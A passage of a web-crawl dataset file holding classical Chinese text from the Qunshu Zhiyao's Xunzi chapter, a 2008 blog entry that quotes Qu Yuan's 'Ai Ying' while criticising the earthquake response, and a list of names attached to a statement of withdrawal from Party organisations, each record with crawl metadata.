0.012923447415232658}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孫卿子\n群書治要卷三十八\n孫卿子\n君子曰。學不可以已。青取之藍而青於藍。冰水爲之而寒於水。故木受繩則直。金就礪則利。君子博學而日三省乎己。則知明而行無過矣。故不登高山。不知天之高也。不臨深谿。不知地之厚也。不聞先王之遺言。不知學問之大也。於越夷貊之子。生而同聲。長而异俗。教使之然也。吾嘗終日而思矣。不如須臾之所學。吾嘗跂而望矣。不如登高之博見也。登高而招。臂非加長也。而見者遠。順風而呼。聲非加疾也。而聞者彰。假輿馬者。非利足也。而致千里。假舟檝者。非能水也。而絶江河。君子生非异也,善假於物也。故君子居必擇鄉。游必就士。所以防邪僻而近中正也。積土成山。風雨興焉。積水成淵。蛟龍生焉。積善成德。聖心備(本書備作循)焉。故不積跬步。無以至千里。不積小流。無以成河海。故聲無小而不聞。行無隱而不形。玉在山而木草潤。淵生珠而崖不枯。爲善積也。安有不聞者乎。\n見善必以自存也。見不善必以自省也。故非我而當者。吾師也。是我而當者。吾友也。諂諛我者。吾賊也。故君子隆師而親友。以致惡其賊。好善無厭。受諫而能誡。雖欲無進。得乎哉。小人反是。致亂而惡人之非己。致不肖而欲人之賢己。心如虎狼。行如禽獸。而又怨人之賊己。諂諛者親。諫争者疏。循(循作修)正爲笑。至忠爲賊。雖欲無滅亡。得乎哉。\n夫驥一日而千里。駑馬十駕。則亦及之矣。或遲或速。或先或後耳。胡爲乎其不可相及也。跬步而不休。跛鱉千里。累土而不輟。丘山崇成。彼人之才性之相懸也。豈若跛鱉之與六驥足哉。然而跛鱉致之。六驥不致。是無他故焉。或爲之。或不爲耳。\n君子易知而難狎。易懼而難脅。畏患而不避義死。欲利而不爲所非。交親而不比。言辨而不辭。蕩蕩乎其有以殊於世也。君子能亦好。不能亦好。小人能亦醜。不能亦醜。君子能則寬容直易以開導人。不能則恭敬撙絀以畏事人。小人能則倨傲僻違以驕溢人。不能則妒嫉怨誹以傾覆人。故曰。君子能則人榮學焉。不能則人樂告之。小人能則人賤學焉。不能則人羞告之。是君子小人之分也。\n君子養心。莫善於誠。致誠無他。唯仁之守。唯義之行。誠心守仁則能化。誠心行義則能變。變化代興。謂之天德。天不言而人推高焉。地不言而人推厚焉。四時不言而百姓期焉。夫此有常以至其誠者也。君子至德。默然而喻。未施而親。不怒而威。天地爲大矣。不誠則不能化萬物。聖人爲智矣。不誠則不能化萬民。父子爲親矣。不誠則疏。君上爲尊矣。不誠則卑。夫誠者。君子之守而政事之本也。君子位尊而志恭。心小而道大。所聽視者近。而所聞見者遠。是何耶。則操術然也。君子審後王之道而論於百王之前。推禮義之統。分是非之分。總天下之要。治海内之衆。若使一人。故操彌約而事彌大。五寸之矩。盡天下之方。故君子不下室堂。而海内之情舉 。積此者。則操術然也。\n好榮惡辱。好利惡害。是君子小人所同也。若其所以求之道則异。小人疾爲誕而欲人之信己。疾爲詐而欲人之親己。禽獸行而欲人之善己。慮之難知也。行之難安也。持之難立也。成則必不得其所好。必遇其所惡焉。故君子者。信矣。而亦欲人之信己。忠矣。而亦欲人之親己。修(修舊作循。改之)正治辨矣。而亦欲人之善己。慮之易知也。行之易安也。持之易立也。成則必得其所好。必不遇其所惡焉。是故窮則不隱。通則大明。身死而名彌白。\n兼服天下之心。高上尊貴不以驕人。聰明聖智不以窮人。齊給速通不争先人。剛毅勇敢不以傷人。不知則問。不能則學。雖能必讓。君子能爲可貴。不能使人必貴己。能爲可信。不能使人必信己。能爲可用。不能使人必用己。故君子耻不修。不耻見污。耻不信。不耻不見信。耻不能。不耻不見用。是以不誘於譽。不恐於誹。率道而行。端然正己。不爲物傾側。夫是之謂誠君子。\n仲尼之門人。五尺之竪子。言羞稱乎五伯。是何也。曰。然。彼非本政教也。非致隆高也。非綦文理也。非服人心也。向方略。審勞逸。畜積修門而能顛倒其敵者也。詐心已勝矣。彼以讓飾争。依乎仁而蹈利者也。小人之杰也。彼固曷足稱乎大君子之門哉。彼王者不然。致賢而能以救不肖。致强而能以寬弱。戰必能殆之而羞與之門。委然成文以示之。天下自化矣。有灾繆者然後誅之。故聖王之誅甚省矣。\n秦昭王問孫卿曰。儒無益於人之國。孫卿曰。儒者法先王。隆禮義。謹乎臣子而致貴其上者也。雖窮困凍餒。必不以邪道爲貪。無置錐之地。而明於持社稷之大義。勢在人上。則王公之材也。在人下。則社稷之臣。國君之寶也。雖隱於窮閻陋屋。人莫不貴。貴道誠存也。在本朝則美政。在下位則美俗。儒之爲人下如是矣。其爲人上也。廣大矣。志意定乎内。禮節修乎朝。法則度量正乎官。忠信愛利形乎下。故近者歌謳而樂之。遠者竭蹶而趍之。四海之内若一家。通達之屬。莫不從服。夫其爲人下也如彼。其爲人上也如此。何爲其無益於人之國乎。昭王曰。善。\n君子之所謂賢者。非能遍能人之所能(能舊皆作賢。改之)之謂也。君子之所謂知(知舊作智)者。非能遍知(知舊作智)人之所知(知舊作智)之謂也。君子之所謂辨者。非能遍辨人之所辨之謂也。君子之所謂察者。非能遍察人之所察之謂也。有所止(止舊作上。改之)矣。相高下。序五種。君子不如農人。通財貨。辨貴賤。君子不如賈人。設規矩。便備用。君子不如工人。若夫論德而定次。量能而授官。使賢不肖皆得其位。能不能皆得其官。萬物得宜。事變得應。言必當理。事必當務。然後君子之所長也。君子無爵而貴。無禄而富。不言而信。不怒而威。窮處而榮。獨居而樂。豈不至尊至富。至重至嚴哉。\n請問爲政。曰。聽政之大分。以善至者。待之以禮。以不善至者。待之以刑。兩者分别。則賢不肖不雜。是非不亂。賢不肖不雜。則英杰至。是非不亂。則國家治。若是。令行禁止。王者之事畢矣。公平者。職之衡也。中和者。聽之繩也。其有法者以法行。其無法者以類舉 。聽之盡也。偏黨而無經。聽之辟也。故有良法而亂者有之矣。有君子而亂者。自古及今未嘗聞也。傳曰。治生乎君子。而亂生乎小人。此之謂也。\n馬駭輿。則君子不安輿。庶人駭政。則君子不安位。馬駭輿。則莫若静之。庶人駭政。則莫若惠之。選賢良。舉 篤敬。興孝悌。收孤寡。如是。則庶人安政。然後君子安位矣。傳曰。君者。舟也。庶人者。水也。水則載舟。水則覆舟。此之謂也。故君人者。欲安。則莫若平政愛民矣。欲榮。則莫若隆禮敬士矣。欲立功名。則莫若尚賢使能矣。是君人者之大節也。三節者當。則其餘莫不當矣。三節者不當。則其餘雖曲當。由將無益也。成侯。嗣公。聚斂計數之君也。未及取民也。鄭子産。取民者也。未及爲政也。管仲。爲政者也。未及修禮也。故修禮者王。爲政者强。取民者安。聚斂者亡。故王者富民。霸者富士。僅存之國富大夫。亡國富筐篋。實府庫。筐篋已富。府庫已實。而百姓貧。夫是之謂上溢而下漏。入不可以守。出不可以戰。則傾覆滅亡。可立而待也。故我聚之以亡。敵得之以强。聚斂者。召寇肥敵。亡國危身之道也。故明君不蹈也。\n足國之道。節用裕民。而善藏其餘也。節用以禮。裕民以政。彼裕民則民富。出實百倍。上以法取焉。而下以禮節用之。餘若丘山。夫君子奚患乎無餘也。故知節用裕民。則必有仁義聖良之名。而且有富厚丘山之積矣。不知節用裕民則民貧。出實不半。上雖好取侵奪。猶將寡獲也。而或以無禮節用之。則必有貪利之名。而且有空虚窮乏之實矣。\n禮者。貴賤有等。長幼有差。貧富輕重皆有稱者也。德必稱位。位必稱禄。禄必稱用。由士以上。則必以禮樂節之。衆庶百姓。則必以法數制之。輕田野之税。平關市之徵。省商賈之數。罕興力役。無奪農時。如是。則國富矣。夫是謂以政裕民也。\n人之生不能無群。群而無分則争。争則亂。亂則窮矣。故無分者。人之大害也。有分者。天下之本利也。古者。先王分割而等异之也。故使或美或惡。或厚或薄。或逸樂。或劬勞。非特以爲淫誇之聲。將以明仁之文。通仁之順也。故爲雕琢刻鏤。黼黻文章。使之以辨貴賤而已。不求其觀。爲鐘鼓管磬。琴瑟竽笙。使之以辨吉凶。合歡定和而已。不求其餘。爲宫室臺榭。使以避燥濕。辨輕重而已。不求其外。\n若夫重色而衣之。重味而食之。重財物而制之。合天下而君之。非特以爲淫泰也。以爲王天下。理萬變。裁萬物。養萬民。兼制天下者。爲莫若仁人之善也。夫故其知慮足以治之。其仁厚足以安之。其德音足以化之。得之則治。失之則亂。百姓誠賴其智也。故相率而爲之勞苦。以務逸之。以養其智也。誠美其厚也。故爲之出死斷亡以覆救之。以養其厚也。誠美其意(意作德)也。故爲雕琢刻鏤。黼黻文章以藩飾之。以養其德也。故仁人在上。百姓貴之如帝。親之如父母。爲之出死斷亡者。無他故焉。其所是焉誠美。其所得焉誠大。其所利焉誠多也。故曰。君子以德。小人以力也。百姓之力。待之而後功。百姓之群。待之而後和。百姓之財。待之而後聚。百姓之勢。待之而後安。百姓之壽。待之而後長。父子不得不親。兄弟不得不順。男女不得不歡。少者以長。老者以養。故曰天地生之。聖人成之。此之謂也。\n今之世不然。厚刀布之斂以奪之財。重田野之税以奪之食。苛關市之徵以難其事。權謀傾覆以靡弊之。百姓曉然皆知其將大危亡也。是以臣背其節而不死其事者。無他故焉。人主自取之也。不教而誅。則刑繁而邪不勝。教而不誅。則奸民不懲。誅而不賞。則勤勵之民不勸。誅賞而不類。則下疑俗險。而百姓不壹。故先王明禮義以壹之。致忠信以愛之。尚賢使能以次之。爵服賞慶以申重之。時其事。輕其任。以調齊之。兼覆之。養長之。如保赤子。若是。故奸邪不作。盗賊不起。而化善者勸勉矣。是何則。其道易。其塞固。其政令壹。其防表明也。故曰。上壹則下壹矣。上二則下二矣。\n國者。天下之制利用也。人主者。天下之利勢也。得道以持之。則大安也。大榮也。不得道以持之。則大危矣。大累矣。故用國者義立而王。信立而霸。權謀立而亡。三者明主之所謹擇也。仁人之所務白也。湯以亳。武王以鎬。皆百里之地也。天下爲一。諸侯爲臣。通達之屬。莫不從服。無他故焉。以濟義矣。是所謂義立而王也。齊桓。晋文。楚莊。吴闔廬。越勾踐。是皆僻陋之國也。威動天下。强殆中國。無他故焉。信也。是所謂信立而霸也。不務張其義。濟其信。唯利之求。内則不憚詐其民而求小利焉。外則不憚詐其與而求大利焉。内不修正其所以有。然常欲人之有。如是。則臣下百姓。莫不以詐心得其上矣。上詐其下。下詐其上。則是上下析也。如是。則敵國輕之。與國疑之。權謀日行。而國不免危亡。齊閔。薛公是也。是無他故焉。唯其不由禮義而由權謀也。三者。明主之所謹擇也。而仁人之所務白也。善擇者制人。不善擇者爲(無爲字)人制之。\n國君(無君字)者。天下之大器也。重任也。不可不善爲擇所而後措之。措險則危。不可不善爲擇道然後道之。塗穢則塞。危塞則亡。故道王者之法。與王者之人爲之。則亦王矣。道霸者之法。與霸者之人爲之。則亦霸矣。道亡國之法。與亡國之人爲之。則亦亡矣。故國者。世以新者也。改玉改行也。一朝之日也。一日之人也。然而有千歲之國何也。曰。援夫千歲之信法以持之也。安與夫千歲之信士爲之也。人無百歲之壽。而有千歲之信士何也。曰。以夫千歲之法自持者。是乃千歲之信士矣。故與積禮義之君子爲之則王。與端誠信全之士爲之則霸。與權謀傾覆之人爲之則亡。三者。明主之所謹擇也。\n國危則無樂君。國安則無憂民。亂則國危。治則國安。今君人者。急逐樂而緩治國。豈不過甚哉。譬之是由好聲色而恬無耳目也。豈不哀哉。故百樂者。生於治國者也。憂患者。生於亂國者也。急逐樂而忘(忘作緩)治國。非知樂者也。故明君者。必將先治其國。然後百樂得其中。暗君者。必將荒逐樂而緩治國。故憂患不可勝校也。必至於身死國亡。然後止也。豈不哀哉。將以爲樂。乃得憂焉。將以爲安。乃得危焉。將以爲福。乃得死亡焉。豈不哀哉。嗚呼。君人者。亦可以察若言矣。故治國有道。人主有職。若夫論一相以兼率之。使臣下百吏。莫不宿道向方而務。是夫人主之職也。若是則名配堯。禹。人主者守至約而詳。事至逸而功。垂衣裳。不下簟席之上。而海内之人莫不願得以爲帝王。夫是之謂至約。樂莫大焉。\n人主者。以官人爲能者也。匹夫者。以自能爲能者也。人主得使人爲之。匹夫則無所移之。今以一人兼聽天下。必自爲之然後可。則勞苦耗萃莫甚焉。如是。則雖臧獲不肯與天子易勢業。以是懸天下。壹四海。役夫之道也。\n傳曰。士大夫分職而聽。諸侯之君。分土而守。三公總方而議。則天子拱已止矣。故人主欲得善射。射遠中微。則莫若使羿。逢門矣。欲得善馭。及速致遠。則莫若使王良。造父矣。欲調一天下。制秦楚。則莫若聰明君子矣。其用智甚簡。其爲事不勞而功名致大。甚易處。而甚可樂矣。\n夫貴爲天子。富有天下。名爲聖王。兼制人人。莫得而制也。是人情之所同欲也。欲是之主并肩而存。能建是之士不世絶。千歲而不合。何也。曰。人主不公。人臣不忠也。人主則外賢而偏舉 。人臣則争職而妒賢。是其所以不合之故也。人主胡不廣焉。無恤親疏。無偏貴賤。唯誠能之求。人臣輕職業讓賢。而安隨其後矣。如是。則功壹天下。名配禹。舜。物由有可樂。如是其美者乎。嗚呼。君人者亦可以察若言矣。\n治國者。分已定。則主相臣下百吏。各謹其所聞。不務聽其所不聞。各謹其所見。不務視其所不見。則雖幽閑隱僻。百姓莫不敬分安制以化其上。是治國之徵也。\n主道治近不治遠。治明不治幽。治一不治二。主能治近則遠者理。主能治明則幽者化。主能當一則百事正。夫兼聽天下。日有餘而治不足者如此也。是治之極也。既能治近。又務治遠。既能治明。又務治幽。既能當一。又務正百。是過者也。過猶不及也。不能治近。又務治遠。不能察明。又務見幽。不能當一。又務正百。是悖者也。故明主好要而暗主好詳。主好要則百事詳。主好詳則百事荒矣。\n國得百姓之力者富。得百姓之死者强。得百姓之譽者榮。三得(三得舊皆作三德。改之)者具。而天下歸之。三得者亡。而天下去之。湯、武興(興舊作與。改之)天下同利。除天下同害。政令制度。所以接百姓者。有非理如豪末。必不加焉。故百姓親之如父母。爲之死亡而不偷也。亂世不然。使愚詔智。不肖臨賢。生民則致貧隘。使民則甚(甚作綦)勞苦。又望百姓爲之死。不可得也。孔子曰。審吾所以適人。人之所以來我也。大國之主。好見小利。又好以權謀傾覆之人斷事。社稷必危。是傷國者也。大國之主好詐。群臣亦從而成俗。群臣若是。則衆庶亦不隆禮義而好貪利矣。君臣上下之俗。莫不若是。則地雖廣。權必輕。人雖衆。兵必弱。刑雖繁。令不下通。是之謂傷國。\n有亂君。無亂國。有治人。無治法。羿之法非亡也。而羿不世中。禹之法猶存。而夏不世王。故法不能獨立。得其人則存。失其人則亡。法者。治之端也。君子者。法之源也。故有君子。則法雖省足以遍矣。無君子。則法雖具足以亂矣。故明主急得其人。而暗主急得其勢。急得其人。則身逸而國治。功大而名美。急得其勢。則身勞而國亂。功廢而名辱。故君人者。勞於索之。而休於使之。\n械數者。治之流也。非治之源也。君子者。治之源也。官人守數。君子養源。故上好禮義。尚賢使能。而無貪利之心。則下亦將綦辭讓。致忠信。而謹於臣子矣。故賞不治政令不繁而俗美。百姓莫敢不順上之法。象上之志。而勸上之事。而安樂之矣。\n君者。民之源也。源清則流清。源濁則流濁。故有社稷而不能愛民。不能利民。而求民之親愛己。不可得也。民不親不愛而求其爲己用。爲己死。不可得也。民不爲己用。不爲己死。而求兵之勁。城之固。不可得也。兵不勁。城不固。而求敵之不至。不可得也。敵至而求無危削。不滅亡。不可得也。故人主欲强固安樂。則莫若反之民。欲附下壹民。則莫若反之政。欲修政美國。則莫若求其人。故君人者。愛民而安。好士而榮。兩者無一焉而亡也。明分職。序事業。拔材官能。莫不治理。則公道達而私門塞矣。公義明而私事息矣。如是。則德厚者進而佞悦者止。貪利者退而廉節者起。兼聽齊明而百事不留。故天子不視而見。不聽而聰。不慮而知。不動而功。塊然獨坐而天下從之。如四支之從心也。\n人主有六患。使賢者爲之。則與不肖者規之。使智者慮之。則與愚者論之。使修士行之。則與奸邪之人疑之。雖欲成功。得乎哉。譬之是猶立直木而恐其影之枉也。惑莫大焉。語曰。公正之士。衆人之痤也。循道之人。奸邪之賊也。今使奸邪之人論其怨賊。而求其無偏。得乎哉。譬之是猶立枉木而求其影之直也。亂莫大焉。故古之人爲之不然。其取人有道。其用人有法。取人以(以作之)道。參之以禮。用人之法。禁之以等。行義動静。度之以禮。智慮取捨。稽之以成。日月積久。挍之以功。故卑不得臨尊。輕不得懸重。愚不得謀智。是以萬舉 不過也。\n人主欲得善射。射遠中微者。欲得善馭。及速致遠者。懸貴爵重賞以招致之。内不可阿子弟。外不可隱遠人。能致是者取之。是豈不必得之之道哉。雖聖人不能易也。欲治國馭民。調壹上下。將内以固城。外以拒難。治則制人。人不能制也。亂則危辱滅亡。可立而待也。而求卿相輔佐。則獨不若是其公也。唯便辟親比己者之用也。豈不過甚哉。故有社稷者莫不欲强。俄則弱矣。莫不欲安。俄則危矣。莫不欲存。俄則亡矣。故明主有私人以金石珠玉。無私人以官職事業。是何也。曰。本不利於所私也。彼不能而主使之。則是主暗也。臣不能而誣能。則是臣詐也。主暗於上。臣詐於下。滅亡無日。俱害之道也。夫文王非無貴戚也。非無子弟也。非無便僻也。乃舉 太公而用之。兼制天下。立七十一國。姬姓獨居五十三人。周之子孫。莫不爲顯諸侯。如是者。能愛人也。故舉天下之大道。立天下之大功。然後隱其所憐所愛。故曰。唯明主爲能愛其所愛。暗主則必危其所愛。此之謂也。\n從命而利君謂之順。從命而不利君謂之諂。逆命而利君謂之忠。逆命而不利君謂之篡。不恤君之榮辱。不恤國之臧否。偷合苟容。以持禄養交而已。謂之國賊。君有過謀過事。將危國家。隕社稷之具也。大臣父兄有能進言於君。用則可。不用則去。謂之諫。有能進言於君。用則可。不用則死。謂之争。有能比智同力。率群臣百吏。而相與强君矯君。以解國之大患。除國之大害。成於尊君安國。謂之輔。有能抗君之命。竊君之重。反君之事。以安國之危。除君之辱。謂之弼。故諫争輔弼之人。社稷之臣也。國君之寶也。明君之所尊所厚也。而暗主惑君(君作之)爲己賊也。故明君之所賞。暗君之所罰也。暗君之所賞。明君之所殺也。傳曰。從道不從君。正義之臣設。則朝廷不頗。諫争輔弼之人信。則君過不遠。爪牙之士施。則仇讎不作。邊境之臣處。則界垂不喪。故明主好同。暗主好獨。明主尚賢使能。而饗其盛。暗主妒賢畏能而滅其功。罰其忠。賞其賊。夫是之謂至暗。有大忠者。有次忠者。有下忠者。有國賊者。以德覆君而化之。大忠也。以德調君而補之。次忠也。以是諫非而怒之。下忠也。不恤君之榮辱。不恤國之臧否。偷合苟容。以持禄養交而已。國賊也。\n人主之患。不在乎不言。而在乎不誠。夫言用賢者。口也。却賢者。行也。口行相反。而欲賢者之至。不肖者之退。不亦難乎。夫曜蟬者。務在明其火。振其樹而已。火不明。雖振其樹無益也。今人主有能明其德。則天下歸之。若蟬之歸明火也。\n臨武君與荀卿議兵於趙孝成王前。王曰。請問兵要。臨武君曰。上得天時。下得地利。觀敵之變動。後之發。先之至。此用兵之要術也。荀卿曰。不然。所聞古之道。凡用兵戰攻之本。在乎一民也。弓矢不調。則羿不能以中微。六馬不和。則造父不能以致遠。士民不親附。則湯。武不能以必勝也。故善附民者。是乃善用兵者也。故兵要在乎善附(舊無善字。補之)民而已。臨武君曰。不然。兵之所貴者。勢利也。所行者。變詐也。善用之者。莫知其所從出。孫。吴用之。無敵於天下。豈必待附民乎。荀卿曰。不然。臣之所道。仁人之兵。王者之志也。君之所貴。權謀勢利。攻奪變詐也。仁人之兵。不可詐也。彼可詐者。怠慢者也。故以桀詐桀。猶有幸焉。以桀詐堯。譬之若以卵投石。若以指撓沸。若赴水火。入焉焦没耳。故仁人上下一心。三軍同力。臣之於君。下之於上。若子之事父。弟之事兄。若手臂之捍頭目而覆胸腹也。詐而襲之。與先驚而後擊之一也。臨武君曰。善。\n陳嚻問荀卿曰。先生議兵。常以仁義爲本。仁者愛人。義者修(修作循)理。然則又何以兵爲。凡所爲有兵者。爲争奪也。荀卿曰。非汝所知也。彼仁者愛人。愛人。故惡人之害之也。義者修(修作循)理。修(修作循)理。故惡人之亂之也。彼兵者。所以禁暴除害也。非争奪也。故仁人之兵。所存者神。所過者化。若時雨之降。莫不悦喜。故近者親其善。遠方慕其德。兵不血刃。遠邇來服。德盛於此。施及四極。\n天行有常。不爲堯存。不爲桀亡。應之以治則吉。應之以亂則凶。强本而節用。則天不能貧。養備而動時。則天不能病。循(循作修)道而不貳(貳作忒)則天不能禍。故水旱不能使之饑。寒暑不能使之疾。妖不能使之凶。背道而妄行。則天不能吉。故水旱未至而饑。寒暑未薄而疾。怪未生而凶。受時與治世同。而殃禍與治世异。不可以怨天。其道然也。故明於天人之分。則可謂至人矣。\n天不爲人之惡寒輟冬。地不爲人之惡遼遠輟廣。君子不爲小人之匈匈輟行。天有常道。地有常數。君子有常體。君子道其常。小人計其功。\n星墜木鳴。國人皆恐。是天地之變。陰陽之化。物之罕至者也。怪之可也。而畏之非也。夫日月之有食。風雨之不時。怪异之儻見。是無世而不嘗有之。上明而政平。則是雖并世起。無傷也。上暗而政險。則是雖無一至者。無益也。若夫天地之變。畏之非也。人妖則可畏也。政險失民。田蕪稼惡。糴貴民饑。道路有死人。夫是之謂人妖也。政令不明。舉 措不時。本事不理。夫是之謂人妖也。禮義不修。外内無别。男女淫亂。父子相疑。上下乖離。寇難日至。夫是之謂人妖也。三者錯。無安國矣。其説甚邇。其灾甚慘。傳曰。萬物之怪書不説。無用之辨。不急之察。弃而不治也。若夫君臣之義。父子之親。夫婦之别。則日切磋而不舍也。\n在天者莫明於日月。在人者莫明於禮義。故人之命在天。國之命在禮。君人者隆禮尊賢而王。重法愛民而霸。好利多詐而危。權謀傾覆而亡矣。\n主道明則下安。主道幽則下危。故下安則貴上。下危則賤上。故上易知則下親上矣。上難知則下畏上矣。下親上則上安。下畏上則上危。故主道莫惡乎難知。莫危乎使下畏己。傳曰。惡之者衆。則危矣。\n入孝出悌。人之小行也。上順下篤。人之中行也。從道不從君。從義不從父。人之大行也。孝子所以不從命有三:從命則親危。不從命則親安。孝子不從命。乃衷也。從命則親辱。不從命則親榮。孝子不從命。乃義也。從命則禽獸。不從命則修飾。孝子不從命。乃敬也。故可以從而不從。是不子也。未可以從而從。是不衷也。明於從不從之義。而能致恭敬。忠信端慤(慤舊作整。改之)以慎行之。則可謂大孝矣。傳曰。從道不從君。從義不從父。此之謂也。\n繁弱巨黍。古之良弓也。然而不得排檠。則不能自正。干將莫耶。古之良劍也。然而不加砥礪。則不能利。不得人力。則不能斷。驊騮騄駬。古之良馬也。然而必前有銜轡之制。後有鞭策之威。加之以造父之馭。然後一日致千里也。夫人雖有性質美而心辨智。必求賢師而事之。擇賢友而友之。得賢師而事之。則所聞者堯。舜。禹。湯之道也。得良友而友之。則所見者忠信敬讓之行也。身日進於仁義而不自知者。靡使然也。今與不善人處。則所聞者欺誣詐僞也。所見者污漫淫邪貪利之行也。身且加於刑戮而不自知者。靡使然也。傳曰。不知其子。視其友。不知其君。視其左右。靡而已矣。\n桓公用其賊。文公用其盗。故明主任計不信怒。暗主信怒不任計。計勝怒則强。怒勝計者亡。\n天子即位。上卿進曰。如之何憂長也。能除患則爲福。不能則爲賊。授天子一策。中卿進曰。配天而有下土者。先事慮事。先患慮患。先事慮事謂之接。接則事優成。先患慮患謂之豫。豫則禍不生。事至而後慮者後之(後之作謂之後)後之則事不舉。患至而後慮者謂之困。困則禍不可禦。授天子二策。下卿進曰。敬戒無怠。慶者在堂。吊者在閭。禍與福鄰。莫知其門。務哉務哉。萬民望之。授天子三策。\n口能言之。身能行之。國寶也。口不能言。身能行之。國器也。口能言之。身不能行。國用也。口言善。身行惡。國妖也。治國者、敬其寶。愛其器。任其用。除其妖。\n義與利者。人之所。兩有也。雖堯。舜不能去民之欲利。然而能使其欲利不克其好義也。雖桀。紂亦不能去民之好義。然而能使其好義不勝其欲利也。故義勝利者爲治世。利克義者爲亂世。上重義則義克利。上重利則利克義。故天子不言多少。諸侯不言利害。大夫不言得喪。士不能通貨財。從士以上。皆羞利而不與民争業。樂分施而耻積藏。然後(後作故)民不困。則(則作財)貧窶者有所竄其中矣。仁義禮善之於人也。譬之若貨財粟米之於家也。多有之者富。少有之者貧。至無有者窮。\n聖王在上。分義行乎下。則士大夫無沉淫之行。百吏官人無怠慢之事。衆庶百姓無奸怪之俗。無盗賊之罪。莫敢犯上之禁。天下曉然皆知夫盗竊之不可以爲富也。皆知夫賊害之不可以爲壽也。皆知夫犯上之禁不可以爲安也。由其道。則人得其所好焉。不由其道。則必遇其所惡焉。是故刑罰甚省。而威行如流也。故刑當罪則威。不當罪則侮。爵當賢則貴。不當賢則賤。\n古者。刑不過罪。爵不逾德。故殺其父而臣其子。殺其兄而臣其弟。刑罰不怒罪。爵賞不逾德。是以爲善者勸。爲不善者沮。威行如流。化易如神。亂世不然。刑罰怒罪。爵賞逾德。以族論罪。以世舉賢。故一人有罪。而三族皆夷。雖德如舜。不免刑均。是以族論罪也。先祖賢。子孫必顯。行雖如桀。列從必尊。此以世舉賢也。以族論罪。以世舉賢。欲無亂。得乎。\n尊聖者王。貴賢者霸。敬賢者存。嫚賢者亡。古今一也。故尚賢使能。等貴賤。分親疏。序長幼。此先王之道也。故尚賢使能。則主尊下安。貴賤有等。則令行而不留。親疏有分。則施行而不悖。長幼有序。則事業捷成而有所休。故仁者仁此者也。義者分此者也。節者死生此者也。忠者惇慎於此者也。兼此而能之。備矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022062.html","date":"2017-04-24T03:27:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00040-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5809405446,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5809405446052551, \"cmn_Hani_score\": 0.18534421920776367, \"nan_Hani_score\": 0.07457653433084488, \"jpn_Jpan_score\": 0.03284072503447533, \"wuu_Hani_score\": 0.02212882973253727, \"zxx_Latn_score\": 0.018187347799539566}","num_words":59,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.58,"perplexity_score":500.0,"cluster_detection":1} +{"text":"地震救援的疑問,溫家寶指揮無能\n2008年05月14日\n主持:蕭若元、梁錦祥、靳民知、Eddie\n《哀郢》 屈原\n皇天之不純命兮,何百姓之震愆?民離散而相失兮,方仲春而東遷。去故都而就遠兮,遵江夏以流亡。出國門而軫懷兮,申之吾以行。發郢都而去閭兮,怊荒忽其焉極!楫齊楊以容與兮,哀見君而不再得。望長楸而太息兮,涕淫淫其若霰,過夏首而西浮兮,顧龍門而不見,心蟬媛而傷懷兮,眇不知其所,順風波以從流兮,焉洋洋而為客。凌陽侯之汜濫兮,忽翱翔之焉薄,心 結而不解兮,思蹇產而不釋。\n將運舟而下浮兮,上洞庭而下江,去終古之所居兮,今逍遙而來東,羌靈魂之慾歸兮,何須臾之忘反,背夏浦而西思兮,哀故都之日遠,登大墳而遠望兮,聊以舒吾憂心,哀州土之平樂兮,悲江介之遺風,當陵陽之焉至兮,淼南渡之焉如?曾不知夏之為丘兮,孰兩東門之可蕪!心不怡之長久兮,憂與愁其相接,惟郢路之遼遠兮,江與夏之不可涉。忽若不信兮,至今九年而不復。慘鬱鬱而不通兮,蹇 傺而含戚。 外承歡之約兮,諶荏弱而維持,忠湛湛而願進兮,妒被離而鄣之。\n堯舜之抗行兮,嘹杳杳而薄天,眾讒人之嫉妒兮,被以不慈之偽名,憎慍論之修美兮,好夫人之 慨,眾蹀而日進兮,美超遠而逾邁。\n亂曰:曼余目以流觀兮,冀一反之何時,鳥飛反故鄉兮,狐死必首丘,信非吾罪而棄逐兮,何日夜而忘之!\n大地恩情","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/shiushiupod.blogspot.com\/2008\/05\/20080514-part1.html","date":"2018-02-25T09:31:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816351.97\/warc\/CC-MAIN-20180225090753-20180225110753-00381.warc.gz","language":"lzh","language_score":0.9059469104,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9059469103813171, \"nan_Hani_score\": 0.046939361840486526, \"cmn_Hani_score\": 0.031449347734451294}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.434,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退出恶党的团、队组织,迎接光明的未来。\n声明人:王忠宪 马兆成 刘玉福 白广君 鲁凤良 张永祥 刘广太 张兆兴 胡正扬 孔元明 陈永和 李明玉 潘永权 鄂太和 李永禄 周永新 高成林 李永祥 付文华 高庆峰 洪恩明 刘庆波 卢盛志 卢景山 吴庆喜 李明志 杨德仁 杨世俊 李兴来 刘明玉 孙德贵 吴贵和 李向忠 崔贵堂 金永昌 李明达 李忠祥 李玉明 翟继祥 赵福生 郎庆林 邓永君 胡金玉 李明久 田广兴 陈正 黄金成 佟志君 徐常顺 何成顺 陈福义 翟志刚 李兴志 于泳泽 郭家兴 郭永兴 小娟 永青 姜舒羽 双平 冯大伟 吕业 鄂凤太 